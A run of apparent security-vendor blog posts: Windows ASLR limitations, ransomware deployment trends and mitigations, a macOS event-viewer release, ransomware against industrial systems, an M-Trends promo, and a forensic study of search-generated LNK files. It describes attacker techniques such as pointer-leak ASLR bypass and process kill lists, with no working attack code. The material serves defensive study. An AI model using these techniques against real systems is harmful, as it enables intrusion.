“Politely requests” that ASLR not be applied by not marking the image as ASLR-compatible. Depending on the Windows version and hardening settings, Windows might apply ASLR anyway.

🚫

/HIGHENTROPYVA:NO

Opts out 64-bit images from ASLR randomizing addresses beyond 4 GB on Windows 8 and later (to avoid compatibility issues).

🚫

/FIXED

Removes information from the image that Windows needs in order to apply ASLR, blocking ASLR from ever being applied.

Table 2: Linker flags can affect how ASLR is applied to an image

Takeaway 5.2: Enable mandatory ASLR and bottom-up randomization.

Windows 8 and 10 contain optional features to forcibly enable ASLR on images not marked as ASLR compatible, and to randomize virtual memory allocations so that rebased images obtain a random base address. This is useful in the case where an EXE is ASLR compatible, but one of the DLLs it uses is not. Defenders should enable these features to apply ASLR more broadly, and importantly, to help discover any remaining non-ASLR-compatible software so it can be upgraded or replaced.

Fact 6: ASLR relocates entire executable images as a unit.

ASLR relocates executable images by picking a random offset and applying it to all addresses within an image that would otherwise be relative to its base address. That is to say:

  • If two functions in an EXE are at addresses 0x401000 and 0x401100, they will remain 0x100 bytes apart even after the image is relocated. Clearly this is important due to the prevalence of relative call and jmp instructions in x86 code. Similarly, the function at 0x401000 will remain 0x1000 bytes from the base address of the image, wherever it may be.
  • Likewise, if two static or global variables are adjacent in the image, they will remain adjacent after ASLR is applied.
  • Conversely, stack and heap variables and memory-mapped files are not part of the image and can be randomized at will without regard to what base address was picked.

Takeaway 6.1: A leak of just one pointer within an executable image can expose the randomized addresses of the entire image.

One of the biggest limitations and annoyances of ASLR is that seemingly innocuous features such as a debug log message or stack trace that leak a pointer in the image become security bugs.  If the attacker has a copy of the same program or DLL and can trigger it to produce the same leak, they can calculate the difference between the ASLR and pre-ASLR pointer to determine the ASLR offset. Then, the attacker can apply that offset to every pointer in their attack payload in order to overcome ASLR. Defenders should train software developers about pointer disclosure vulnerabilities so that they realize the gravity of this issue, and also regularly assess software for these vulnerabilities as part of the software development lifecycle.

Takeaway 6.2: Some types of memory corruption vulnerabilities simply lie outside the bounds of what ASLR can protect.

Not all memory corruption vulnerabilities need to directly achieve remote code execution. Consider a program that contains a buffer variable to receive untrusted data from the network, and a flag variable that lies immediately after it in memory. The flag variable contains bits specifying whether a user is logged in and whether the user is an administrator. If the program writes data beyond the end of the receive buffer, the “flags” variable gets overwritten and an attacker could set both the logged-in and is-admin flags. Because the attacker does not need to know or write any memory addresses, ASLR does not thwart the attack. Only if another hardening technique (such as compiler hardening flags) reordered variables, or better, moved the location of every variable in the program independently, would such attacks be blocked.

Conclusion

Address space layout randomization is a core defense against memory corruption exploits. This post covers some history of ASLR as implemented on Windows, and also explores some capabilities and limitations of the Windows implementation. In reviewing this post, defenders gain insight on how to build a program to best take advantage of ASLR and other features available in Windows to more aggressively apply it. Attackers can leverage ASLR limitations, such as address space randomization applying only per boot and randomization relocating the entire image as one unit, to overcome ASLR using brute force and pointer leak attacks.

They Come in the Night: Ransomware Deployment Trends

Ransomware is a remote, digital shakedown. It is disruptive and expensive, and it affects all kinds of organizations, from cutting edge space technology firms, to the wool industry, to industrial environments. Infections have forced hospitals to turn away patients and law enforcement to drop cases against drug dealers. Ransomware operators have recently begun combining encryption with the threat of data leak and exposure in order to increase leverage against victims. There may be a silver lining, however; Mandiant Intelligence research suggests that focusing defensive efforts in key areas and acting quickly may allow organizations to stop ransomware before it is deployed.

Mandiant Intelligence examined dozens of ransomware incident response investigations from 2017 to 2019. Through this research, we identified a number of common characteristics in initial intrusion vectors, dwell time, and time of day of ransomware deployment. We also noted threat actor innovations in tactics to maximize profits (Figure 1). Incidents affected organizations across North America, Europe, Asia Pacific, and the Middle East in nearly every sector category, including financial services, chemicals and materials, legal and professional services, local government, and healthcare. We observed intrusions attributed to financially motivated groups such as FIN6, TEMP.MixMaster, and dozens of additional activity sets.


Figure 1: Themes Observed in Ransomware Incidents

These incidents provide us with enhanced insight into ransomware trends that can be useful for network defenders, but it is worth bearing in mind that this data represents only a sample of all activity. For example, Mandiant ransomware investigations increased 860% from 2017 to 2019. The majority of these incidents appeared to be post-compromise infections, and we believe that threat actors are accelerating use of tactics including post compromise deployment to increase the likelihood of ransom payment. We also observed incidents in which ransomware was executed immediately, for example GANDCRAB and GLOBEIMPOSTER incidents, but most of the intrusions examined were longer duration and more complex post-compromise deployments.

Common Initial Infection Vectors

We noted several initial infection vectors across multiple ransomware incidents, including RDP, phishing with a malicious link or attachment, and drive by download of malware facilitating follow-on activity. RDP was more frequently observed in 2017 and declined in 2018 and 2019. These vectors demonstrate that ransomware can enter victim environments by a variety of means, not all of which require user interaction.

RDP or other remote access

One of the most frequently observed vectors was an attacker logging on to a system in a victim environment via Remote Desktop Protocol (RDP). In some cases, the attacker brute forced the credentials (many failed authentication attempts followed by a successful one). In other cases, a successful RDP log on was the first evidence of malicious activity prior to a ransomware infection. It is possible that the targeted system used default or weak credentials, the attackers acquired valid credentials via other unobserved malicious activity, or the attackers purchased RDP access established by another threat actor. In April 2019, we noted that FIN6 used stolen credentials and RDP to move laterally in cases resulting in ransomware deployment.

Phishing with link or attachment

A significant number of ransomware cases were linked to phishing campaigns delivering some of the most prolific malware families in financially motivated operations: TRICKBOT, EMOTET, and FLAWEDAMMYY. In January 2019, we described TEMP.MixMaster TrickBot infections that resulted in interactive deployment of Ryuk.

Drive-by-download

Several ransomware infections were traced back to a user in the victim environment navigating to a compromised website that resulted in a DRIDEX infection. In October 2019, we documented compromised web infrastructure delivering FAKEUPDATES, then DRIDEX, and ultimately BITPAYMER or DOPPELPAYMER infections.

Most Ransomware Deployments Take Place Three or More Days After Initial Infection

The number of days elapsed between the first evidence of malicious activity and the deployment of ransomware ranged from zero to 299 days (Figure 2). That is, dwell times range quite widely, and in most cases, there was a time gap between first access and ransomware deployment. For 75 percent of incidents, at least three days passed between the first evidence of malicious activity and ransomware deployment.

This pattern suggests that for many organizations, if initial infections are detected, contained, and remediated quickly, the significant damage and cost associated with a ransomware infection could be avoided. In fact, in a handful of cases, Mandiant incident responders and FireEye Managed Defense contained and remediated malicious activity, likely preventing ransomware deployment. Several investigations discovered evidence of ransomware installed into victim environments but not yet successfully executed.


Figure 2: Days elapsed between initial access and ransomware deployment

Ransomware Deployed Most Often After Hours

In 76% of incidents we reviewed, ransomware was executed in victim environments after hours, that is, on a weekend or before 8:00 a.m. or after 6:00 p.m. on a weekday, using the time zone and customary work week of the victim organization (Figure 3 and Figure 4). This observation underscores that threat actors continue working even when most employees may not be.

Some attackers possibly intentionally deploy ransomware after hours, on weekends, or during holidays, to maximize the potential effectiveness of the operation on the assumption that any remediation efforts will be implemented more slowly than they would be during normal work hours. In other cases, attackers linked ransomware deployment to user actions. For example, in 2019 incidents at retail and professional services firms, attackers created an Active Directory Group Policy Object to trigger ransomware execution based on user log on and log off.


Figure 3: Ransomware execution frequently takes place after hours


Figure 4: Ransomware execution by hour of the day

Mitigation Recommendations

Organizations seeking to prevent or mitigate the effects of ransomware infections could consider the following steps. For more comprehensive recommendations for addressing ransomware, please refer to our blog post: Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment and the linked white paper.

Address Infection Vectors

  • Use enterprise network, email, and host-based security products with up-to-date detections to prevent and detect many common malware strains such as TRICKBOT, DRIDEX, and EMOTET.
  • Contain and remediate infections quickly to prevent attackers from conducting follow-on activity or selling access to other threat actors for further exploitation.
  • Perform regular network perimeter and firewall rule audits to identify any systems that have inadvertently been left accessible to the internet. Disable RDP and other protocols to systems where this access is not expressly required. Enable multi-factor authentication where possible, particularly to internet-accessible connections, see pages 4-15 of the white paper for more details.
  • Enforce multi-factor authentication, that is, where enabled, do not allow single factor authentication for users who have not set up the multi-factor mechanism.

Implement Best Practices

  • For example, carry out regular anti-phishing training for all employees that operate a device on the company network. Ensure employees are aware of threat, their role in preventing it, and the potential cost of a successful infection.
  • Implement network segmentation when possible to prevent a potential infection from spreading.
  • Create regular backups of critical data necessary to ensure business continuity and, if possible, store them offsite, as attackers often target backups.
  • Restrict Local Administrator accounts from specific log on types, see page 18 of the white paper for more details.
  • Use a solution such as LAPS to generate a unique Local Administrator password for each system.
  • Disallow cleartext passwords to be stored in memory in order to prevent Mimikatz credential harvesting, see p. 20 of the white paper for more details.
  • Consider cyber insurance that covers ransomware infection.

Establish Emergency Plans

  • Ensure that after-hours coverage is available to respond within a set time period in the case of an emergency.
  • Institute after-hours emergency escalation plans that include redundant means to contact multiple stakeholders within the organization and 24-hour emergency contact information for any relevant third-party vendors.

Outlook

Ransomware is disruptive and costly. Threat actor innovations have only increased the potential damage of ransomware infections in recent years, and this trend shows no sign of slowing down. We expect that financially motivated actors will continue to evolve their tactics to maximize profit generated from ransomware infections. We anticipate that post-compromise ransomware infections will continue to rise and that attackers will increasingly couple ransomware deployment with other tactics, such as data theft and extortion, increasing ransom demands, and targeting critical systems.

The good news is that particularly with post-compromise infections, there is often a window of time between the first malicious action and ransomware deployment. If network defenders can detect and remediate the initial compromise quickly, it is possible to avoid the significant damage and cost of a ransomware infection.

Register for our upcoming ransomware webinar to learn more.

Crescendo: Real Time Event Viewer for macOS

Prior to 2017, researchers couldn’t easily monitor actions performed by a process on macOS and had to resort to coding scripts that produced low level system call data. FireEye released Monitor.app in 2017 that enabled collection of information on macOS at a higher level; at a simplified data set versus something like Dtrace. I created many versions of Monitor.app over the years and have received very positive feedback from users. Recently though, users have noticed it doesn't work on macOS Catalina (10.15)...

Originally, a kernel extension was required to provide the inspection capabilities offered by Monitor.app. Unfortunately, kernel extensions are running in privileged mode which has very little protection from software bugs that may lead to system instability. This means kernel extensions should only be used if absolutely necessary. Microsoft and Apple have started providing engineers more userland alternatives to accomplish what previously required writing kernel code.

In Catalina, Apple released the Endpoint Security Framework (ESF) to provide a robust and (more importantly) safer way of getting access to internal operating system artifacts. Being a security guy, I’m not a huge fan when apps must ship with kernel extension to get their job done and I think this is a move in the right direction. With the coming release of 10.15.4, Apple will now pop-up a warning when a kernel extension is loaded that uses a set of these deprecated kernel programming interfaces (KPIs).

Now seemed like a good time to kick the tires on the Endpoint Security Framework. Also, what engineer doesn’t love to learn new languages, so why not write it all in Swift as well?

Introducing Crescendo

Crescendo is a real time event viewer for macOS that uses the ESF to show process executions and forks, file events, share mounting events, kernel extension loads, and IPC event data. ESF provides a vast amount of data, but the goal was to just pick out the things that analysts would be interested in when analyzing a piece of malware or trying to understand how a process (or component) works. Just the right amount of data without being a firehose of events to the user.

Here are some of the features of Crescendo:

  • System Extension using Endpoint Security Framework
  • Real time event viewer and event detail viewer
  • Search for easy filtering of events by process, PID, username, or event type
  • Filters for unsigned apps vs apple signed apps
  • Ability to export all events to JSON
  • Context highlighting when unsigned apps are executed

Apple has added some extra security features that require some extra setup for enabling Crescendo’s system extension. Head on over to the Getting Started section in the README to get started. I'm hopeful this inconvenience will be fixed in future versions.

Oh, One More Thing...

Crescendo is being released open source under the MIT license! It consists of a ready to use framework that wraps the ESF with a Swift interface, removing some of the nuances and providing a simple callback for event data. This way other developers don't have to understand all the inner details of the Endpoint Security Framework. One caveat, if you wish to use the framework in your own app, you must obtain an entitlement from Apple

Missing a feature you’d like to see? Submit a Pull Request!

Head over to the Crescendo Github to learn more and download the latest release.

Ransomware Against the Machine: How Adversaries are Learning to Disrupt Industrial Production by Targeting IT and OT

Since at least 2017, there has been a significant increase in public disclosures of ransomware incidents impacting industrial production and critical infrastructure organizations. Well-known ransomware families like WannaCry, LockerGoga, MegaCortex, Ryuk, Maze, and now SNAKEHOSE (a.k.a. Snake / Ekans), have cost victims across a variety of industry verticals many millions of dollars in ransom and collateral costs. These incidents have also resulted in significant disruptions and delays to the physical processes that enable organizations to produce and deliver goods and services.

While lots of information has been shared about the victims and immediate impacts of industrial sector ransomware distribution operations, the public discourse continues to miss the big picture. As financial crime actors have evolved their tactics from opportunistic to post-compromise ransomware deployment, we have observed an increase in adversaries’ internal reconnaissance that enables them to target systems that are vital to support the chain of production. As a result, ransomware infections—either affecting critical assets in corporate networks or reaching computers in OT networks—often result in the same outcome: insufficient or late supply of end products or services.

Truly understanding the unique nuances of industrial sector ransomware distribution operations requires a combination of skillsets and visibility across both IT and OT systems. Using examples derived from our consulting engagements and threat research, we will explain how the shift to post-compromise ransomware operations is fueling adversaries’ ability to disrupt industrial operations.

Industrial Sector Ransomware Distribution Poses Increasing Risk as Actors Move to Post-Compromise Deployment

The traditional approach to ransomware attacks predominantly relies on a “shotgun” methodology that consists of indiscriminate campaigns spreading malware to encrypt files and data from a variety of victims. Actors following this model will extort victims for an average of $500 to $1,000 USD and hope to receive payments from as many individuals as possible. While early ransomware campaigns adopting this approach were often considered out of scope for OT security, recent campaigns targeting entire industrial and critical infrastructure organizations have moved toward adopting a more operationally complex post-compromise approach.

In post-compromise ransomware incidents, a threat actor may still often rely on broadly distributed malware to obtain their initial access to a victim environment, but once on a network they will focus on gaining privileged access so they can explore the target networks and identify critical systems before deploying the ransomware. This approach also makes it possible for the attacker to disable security processes that would normally be enough to detect known ransomware indicators or behaviors. Actors cast wider nets that may impact critical systems, which  expand the scale and effectiveness of their end-stage operations by inflicting maximum pain on the victim. As a result, they are better positioned to negotiate and can often demand much higher ransoms—which are commonly commensurate with the victims’ perceived ability to pay and the value of the ransomed assets themselves. For more information, including technical detail, on similar activity, see our recent blog posts on FIN6 and TEMP.MixMaster.


Figure 1: Comparison of indiscriminate vs. post-compromise ransomware approaches

Historical incidents involving the opportunistic deployment of ransomware have often been limited to impacting individual computers, which occasionally included OT intermediary systems that were either internet-accessible, poorly segmented, or exposed to infected portable media. In 2017, we also observed campaigns such as NotPetya and BadRabbit, where wiper malware with worm-like capabilities were released to disrupt organizations while masquerading as ransomware. While these types of campaigns pose a threat to industrial production, the adoption of post-compromise deployment presents three major twists in the plot.

  • As threat actors tailor their attacks to target specific industries or organizations, companies with high-availability requirements (e.g., public utilities, hospitals, and industrial manufacturing) and perceived abilities to pay ransoms (e.g., higher revenue companies) become prime targets. This represents an expansion of financial crime actors’ targeting of industries that process directly marketable information (e.g., credit card numbers or customer data) to include the monetization of production environments.
  • As threat actors perform internal reconnaissance and move laterally across target networks before deploying ransomware, they are now better positioned to cast wide nets that impact the target’s most critical assets and negotiate from a privileged position.
  • Most importantly, many of the tactics, techniques, and procedures (TTPs) often used by financial actors in the past, resemble those employed by high-skilled actors across the initial and middle stages of the attack lifecycle of past OT security incidents. Therefore, financial crime actors are likely capable of pivoting to and deploying ransomware in OT intermediary systems to further disrupt operations.

Organized Financial Crime Actors Have Demonstrated an Ability to Disrupt OT Assets

An actor’s capability to obtain financial benefits from post-compromise ransomware deployment depends on many factors, one of which is the ability to disrupt systems that are the most relevant to the core mission of the victim organizations. As a result, we can expect mature actors to gradually broaden their selection from only IT and business processes, to also OT assets monitoring and controlling physical processes. This is apparent in ransomware families such as SNAKEHOSE, which was designed to execute its payload only after stopping a series of processes that included some industrial software from vendors such as General Electric and Honeywell. At first glance, the SNAKEHOSE kill list appeared to be specifically tailored to OT environments due to the relatively small number of processes (yet high number of OT-related processes) identified with automated tools for initial triage. However, after manually extracting the list from the function that was terminating the processes, we determined that the kill list utilized by SNAKEHOSE actually targets over 1,000 processes.

In fact, we have observed very similar process kill lists deployed alongside samples from other ransomware families, including LockerGoga, MegaCortex, and Maze. Not surprisingly, all of these code families have been associated with high-profile incidents impacting industrial organizations for the past two years. The earliest kill list containing OT processes we identified was a batch script deployed alongside LockerGoga in January 2019. The list is very similar to those used later in MegaCortex incidents, albeit with notable exceptions, such as an apparent typo on an OT-related process that is not present in our SNAKEHOSE or MegaCortex samples: “proficyclient.exe4”. The absence of this typo in the SNAKEHOSE and MegaCortex samples could indicate that one of these malware authors identified and corrected the error when initially copying the OT-processes from the LockerGoga list, or that the LockerGoga author failed to properly incorporate the processes from some theoretical common source of origin, such as a dark web post.


Figure 2: ‘proficyclient.exe’ spelling in kill lists deployed with LockerGoga (left) and SNAKEHOSE (right)

Regardless of which ransomware family first employed the OT-related processes in a kill list or where the malware authors acquired the list, the seeming ubiquity of this list across malware families suggests that the list itself is more noteworthy than any individual malware family that has implemented it. While the OT processes identified in these lists may simply represent the coincidental output of automated process collection from target environments and not a targeted effort to impact OT, the existence of this list provides financial crime actors opportunities to disrupt OT systems. Furthermore, we expect that as financially motivated threat actors continue to impact industrial sector organizations, become more familiar with OT, and identify dependencies across IT and OT systems, they will develop capabilities—and potentially intent—to disrupt other systems and environments running industrial software products and technology.

Ransomware Deployments in Both IT and OT Systems Have Impacted Industrial Production

As a result of adversaries’ post-compromise strategy and increased awareness of industrial sector targets, ransomware incidents have effectively impacted industrial production regardless of whether the malware was deployed in IT or OT. Ransomware incidents encrypting data from servers and computers in corporate networks have resulted in direct or indirect disruptions to physical production processes overseen by OT networks. This has caused insufficient or late supply of end products or services, representing long-term financial losses in the form of missed business opportunities, costs for incident response, regulatory fines, reputational damage, and sometimes even paid ransoms. In certain sectors, such as utilities and public services, high availability is also critical to societal well-being.

The best-known example of ransomware impacting industrial production due to an IT network infection is Norsk Hydro’s incident from March 2019, where disruptions to Business Process Management Systems (BPMS) forced multiple sites to shut down automation operations. Among other collateral damage, the ransomware interrupted communication between IT systems that are commonly used to manage resources across the production chain. Interruptions to these flows of information containing for example product inventories, forced employees to identify manual alternatives to handle more than 6,500 stock-keeping units and 4,000 shelves. FireEye Mandiant has responded to at least one similar case where TrickBot was used to deploy Ryuk ransomware at an oil rig manufacturer. While the infection happened only on corporate networks, the biggest business impact was caused by disruptions of Oracle ERP software driving the company temporarily offline and negatively affecting production.

Ransomware may result in similar outcomes when it reaches IT-based assets in OT networks, for example human-machine interfaces (HMIs), supervisory control and data acquisition (SCADA) software, and engineering workstations. Most of this equipment relies on commodity software and standard operating systems that are vulnerable to a variety of IT threats. Mandiant Intelligence is aware of at least one incident in which an industrial facility suffered a plant shutdown due to a large-scale ransomware attack, based on sensitive sources. The facility's network was improperly segmented, which allowed the malware to propagate from the corporate network into the OT network, where it encrypted servers, HMIs, workstations, and backups. The facility had to reach out to multiple vendors to retrieve backups, many of which were decades old, which delayed complete restoration of production.

As recently as February 2020, the Cybersecurity Infrastructure and Security Agency (CISA) released Alert AA20-049A describing how a post-compromise ransomware incident had affected control and communication assets on the OT network of a natural gas compression facility. Impacts to HMIs, data historians, and polling servers resulted in loss of availability and loss of view for human operators. This prompted an intentional shut down of operations that lasted two days.

Mitigating the Effects of Ransomware Requires Defenses Across IT and OT

Threat actors deploying ransomware have made rapid advances both in terms of effectiveness and as a criminal business model, imposing high operational costs on victims. We encourage all organizations to evaluate their safety and industrial risks related to ransomware attacks. Note that these recommendations will also help to build resilience in the face of other threats to business operations (e.g., cryptomining malware infections). While every case will differ, we highlight the following recommendations.

For custom services and actionable intelligence in both IT and OT, contact FireEye Mandiant Consulting, Managed Defense, and Threat Intelligence.

  • Conduct tabletop and/or controlled red team exercises to assess the current security posture and ability of your organization to respond to the ransomware threat. Simulate attack scenarios (mainly in non-production environments) to understand how the incident response team can (or cannot) detect, analyze, and recover from such an attack. Revisit recovery requirements based on the exercise results. In general, repeatedly practicing various threat scenarios will improve awareness and ability to respond to real incidents.
  • Review operations, business processes, and workflows to identify assets that are critical to maintaining continuous industrial operations. Whenever possible, introduce redundancy for critical assets with low tolerance to downtime. The right amount and type of redundancy is unique for each organization and can be determined through risk assessments and cost-benefit analyses. Note that such analyses cannot be conducted without involving business process owners and collaborating across IT and OT.
  • Logically segregate primary and redundant assets either by a network-based or host-based firewall with subsequent asset hardening (e.g., disabling services typically used by ransomware for its propagation, like SMB, RDP, and WMI). In addition to creating policies to disable unnecessary peer-to-peer and remote connections, we recommend routine auditing of all systems that potentially host these services and protocols. Note that such architecture is generally more resilient to security incidents.
  • When establishing a rigorous back-up program, special attention should be paid to ensuring the security (integrity) of backups. Critical backups must be kept offline or, at minimum, on a segregated network.
  • Optimize recovery plans in terms of recovery time objective. Introduce required alternative workflows (including manual) for the duration of recovery. This is especially critical for organizations with limited or no redundancy of critical assets. When recovering from backups, harden recovered assets and the entire organization's infrastructure to prevent recurring ransomware infection and propagation.
  • Establish clear ownership and management of OT perimeter protection devices to ensure emergency, enterprise-wide changes are possible. Effective network segmentation must be maintained during containment and active intrusions.
  • Hunt for adversary intrusion activity in intermediary systems, which we define as the networked workstations and servers using standard operating systems and protocols. While the systems are further away from direct control of physical processes, there is a much higher likelihood of attacker presence.
  • Note, that every organization is different, with unique internal architectures and processes, stakeholder needs, and customer expectations. Therefore, all recommendations should be carefully considered in the context of the individual infrastructures. For instance, proper network segmentation is highly advisable for mitigating the spread of ransomware. However, organizations with limited budgets may instead decide to leverage redundant asset diversification, host-based firewalls, and hardening as an alternative to segregating with hardware firewalls.

M-Trends 2020: Insights From the Front Lines

Today we release M-Trends 2020, the 11th edition of our popular annual FireEye Mandiant report. This latest M-Trends contains all of the statistics, trends, case studies and hardening recommendations that readers have come to expect through the years—and more.

One of the most exciting takeaways from this year’s report: the global median dwell time is now 56 days. That means the average attacker is going undetected on a network for under two months—an M-Trends first. This is a very promising statistic that demonstrates how far we’ve come since 2011 when the global median dwell time was 416 days. And yet, we know a sophisticated attacker needs only a few days to gain access to the crown jewels, so there is still plenty of room for improvement.

Another interesting statistic in the report is what we refer to as "detection by source." For the first time since 2015, the majority of organizations are being notified of compromises by external sources (53 percent) over internal teams (47 percent). This is more likely due to factors such as increases in law enforcement notifications and compliance changes, and less likely due to internal teams having lost a step.

There’s a whole lot more to look forward to in M-Trends 2020, including:

  • By the Numbers: Global median dwell time and detection by source are just the tip of the iceberg—we share a number of other statistics related to targeted industries, malware, threat techniques and more.
  • Newly Named APT Groups: Learn all about APT41, group responsible for carrying out Chinese state-sponsored espionage and financially motivated activity since as far back as 2012.
  • Trends: We take a deep dive into the latest trends involving malware families, monetizing ransomware, crimeware as a service, and malicious insiders.
  • Case Studies: With so many organizations moving to the cloud, we take a look at a breach involving cloud assets. We also take readers through a campaign where attackers were targeting gift cards.

While M-Trends 2020 contains plenty of new information, the goal of M-Trends has remained the same since the beginning: to arm security professionals with details on the latest attacks and threats we are seeing during our engagements.

Download the 11th edition of M-Trends today.

The Missing LNK — Correlating User Search LNK files

Forensic investigators use LNK shortcut files to recover metadata about recently accessed files, including files deleted after the time of access. In a recent investigation, FireEye Mandiant encountered LNK files that indicated an attacker accessed files included in Windows Explorer search results. In our experience, this was a new combination of forensic artifacts. We’re excited to share our findings because they help to paint a more complete picture of an attacker’s actions and objectives on targeted systems. Further, these findings can also be leveraged for insider threat cases to determine the path used to locate and subsequently open a file.

Windows LNK Format

The .lnk extension is associated with a class of files known as Shell Items. These binary format files contain information that can be used to access other data objects in the Windows shell (the graphical user interface).

LNK shortcut files are one type of Shell Item. They are created by the Windows operating system automatically when a user accesses a file from a supported application but can also be created by the user manually. LNK shortcut files typically contain metadata about the accessed file, including the file name and size, the original path, timestamps, volume and system information (ex. drive type and system hostname), and network information (ex. network share path). Fortunately, there are tools available that can parse these files. While internally at Mandiant we leverage FireEye Endpoint Security to parse LNK files and identify suspicious user search terms, for the purposes of this blog post we will be using LECmd by Eric Zimmerman. Figure 1 shows the command line options for LECmd.exe.


Figure 1: LECmd.exe command line options

Parsed metadata within LNK shortcut files is relevant to forensic investigations for multiple use cases, including profiling user activity on a system or searching for references to malware that has since been deleted.

User Search LNK files

Recently, Mandiant encountered LNK files whose format we did not initially recognize. The files came from a Windows Server 2012 R2 system and had paths like those shown in Figure 2. We guessed that they were LNK shortcut files based on their extension and file path; however, their content was not familiar to us.

C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\passw.lnk

C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\gov.lnk

Figure 2: Full file path of the unfamiliar LNK files

In the previous examples, a forensic investigator would use the LNK shortcut filename to conclude that a user opened a file named passw or gov. Then, they would use a tool like LECmd to recover additional metadata. This would provide them with the full file path of the accessed file and the timestamps of the file at the time it was accessed - among other forensic information.

However, the previous LNK files did not reveal expected metadata. Figure 3 shows the output of LECmd for passw.lnk (some information omitted for clarity).

LECmd version 1.3.2.1

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/LECmd

--- Header ---
  Target created:
  Target modified:
  Target accessed:

  File size: 0
  Flags: HasTargetIdList, IsUnicode, DisableKnownFolderTracking
  File attributes: 0
  Icon index: 0
  Show window: SwNormal (Activates and displays the window. The window is restored to its original size and position if the window is minimized or maximized.)

--- Target ID information (Format: Type ==> Value) ---

  Absolute path: Search Folder\passw

  -Users property view ==> Search Folder
  >> Property store (Format: GUID\ID Description ==> Value)
     d5cdd505-2e9c-101b-9397-08002b2cf9ae\AutoList  ==> VT_STREAM not implemented (yet) See extension block section for contents for now
     d5cdd505-2e9c-101b-9397-08002b2cf9ae\AutolistCacheTime  ==> 1849138729510
     d5cdd505-2e9c-101b-9397-08002b2cf9ae\AutolistCacheKey  ==> Search Results in Local Disk (C:)0

  -Variable: Users property view ==> passw
  >> Property store (Format: GUID\ID Description ==> Value)
     1e3ee840-bc2b-476c-8237-2acd1a839b22\2      (Description not available)         ==> VT_STREAM not implemented
     1e3ee840-bc2b-476c-8237-2acd1a839b22\8      (Description not available)         ==> passw
     28636aa6-953d-11d2-b5d6-00c04fd918d0\11     Item Type                           ==> Stack
     28636aa6-953d-11d2-b5d6-00c04fd918d0\25     SFGAO Flags                         ==> 805306372
     b725f130-47ef-101a-a5f1-02608c9eebac\10     Item Name Display                   ==> passw

--- End Target ID information ---

--- Extra blocks information ---

>> Property store data block (Format: GUID\ID Description ==> Value)
   (Property store is empty)

Figure 3: LECmd.exe output for passw.lnk

Of note, none of the expected information for LNK shortcut files is present. However, there were strings of interest in the Target ID Information section including Search Folder\passw as well as Search Results in Local Disk (C:). For comparison, Figure 4 highlights output for a standard LNK shortcut file using a test file. Notice that the target file timestamps, file size, full file path, and other expected file metadata are present (some information omitted for clarity).

LECmd version 1.3.2.1

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/LECmd

--- Header ---
  Target created:  2020-01-21 19:34:28
  Target modified: 2020-01-21 19:34:28
  Target accessed: 2020-01-22 21:25:12

  File size: 4
  Flags: HasTargetIdList, HasLinkInfo, HasRelativePath, HasWorkingDir, IsUnicode, DisableKnownFolderTracking
  File attributes: FileAttributeArchive
  Icon index: 0
  Show window: SwNormal (Activates and displays the window. The window is restored to its original size and position if the window is minimized or maximized.)

Relative Path: ..\..\..\..\..\Desktop\test.txt
Working Directory: C:\Users\<username>\Desktop

--- Link information ---
Flags: VolumeIdAndLocalBasePath

>>Volume information
  Drive type: Fixed storage media (Hard drive)
  Serial number: <serial number>
  Label: OSDisk
  Local path: C:\Users\<username>\Desktop\test.txt

--- Target ID information (Format: Type ==> Value) ---
  Absolute path: My Computer\Desktop\test.txt

  -Root folder: GUID ==> My Computer

  -Root folder: GUID ==> Desktop

  -File ==> test.txt
    Short name: test.txt
    Modified: 2020-01-21 19:34:30
    Extension block count: 1

    --------- Block 0 (Beef0004) ---------
    Long name: test.txt
    Created: 2020-01-21 19:34:30
    Last access: 2020-01-21 19:34:32
    MFT entry/sequence #: 108919/8 (0x1A977/0x8)

--- End Target ID information ---

--- Extra blocks information ---

>> Tracker database block
   Machine ID: <hostname>
   MAC Address: <mac address>
   MAC Vendor: INTEL
   Creation: 2020-01-21 15:19:59

   Volume Droid: <volume>
   Volume Droid Birth: <volume>
   File Droid: <file>
   File Droid birth: <file>

Figure 4: LECmd.exe output for standard LNK shortcut file test.txt

Fortunately, during the investigation we also parsed the user’s NTUSER.DAT registry file (using Harlan Carvey’s RegRipper) and reviewed the WorldWheelQuery key which details user Explorer search history. The passw.lnk file suddenly became more interesting! Figure 5 shows the entries parsed from the registry key. Note that the search history includes the same term we observed in the LNK file: passw.

wordwheelquery v.20100330
(NTUSER.DAT) Gets contents of user's WordWheelQuery key

Software\Microsoft\Windows\CurrentVersion\Explorer\WordWheelQuery
LastWrite Time Wed Nov 13 06:51:46 2019 (UTC)

 Searches listed in MRUListEx order

14   Secret                         
6    passw                         
13   ccc                           
12   bbb                           
11   aaa                           
10   *.cfg                         
9    apple                         
8    dni                           
7    private                         
4    gov                           
5    air                           
3    intelsat                      
2    adhealthcheck                 
1    *.ps1                         
0    global

Figure 5: WorldWheelQuery key extracted from the user’s NTUSER.DAT registry file

Via the WorldWheelQuery registry key, we identified passw as the second most recent term in the user’s Explorer search history according to the MRUListEx order. MRUListEx is a registry value that lists the order in which other values have most recently been accessed—essentially, the order in which terms were searched in Explorer. passw also matched the filename of the unusual LNK file that contained the string Search Results in Local Disk (C:) (see Figure 3). These details seemed to suggest that LNK files were being created as a result of user Explorer searches. Therefore, we’ve started calling these “user search LNK files”.

Nuance and Interpretation

After searching the system for LNK files with the terms listed in the user’s Explorer search history, we found that not all terms had associated user search LNK files. Figure 6 displays LNK files and their accompanying file creation and modification timestamps that we identified as a result of this search. Note that while we found 15 searches via the WorldWheelQuery registry key, there are only four (4) user search LNK files.

2019-11-09 08:33:14    Created Modified
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\gov.lnk

2019-11-09 09:29:11    Created
2019-11-09 09:29:37    Modified
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\private.lnk

2019-11-09 08:38:29    Created
2019-11-13 06:47:56    Modified
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\passw.lnk

2019-11-13 06:57:03    Created
2019-11-13 06:57:25    Modified
C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\Secret.lnk

Figure 6: LNK files with associated WorldWheelQuery Explorer search terms

Additionally, we noticed pairs of LNK files created at the same time that had similar names. As an example, Figure 7 lists two LNK files that were both created at 2019-11-09 08:38:29 UTC.

C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\passw.lnk

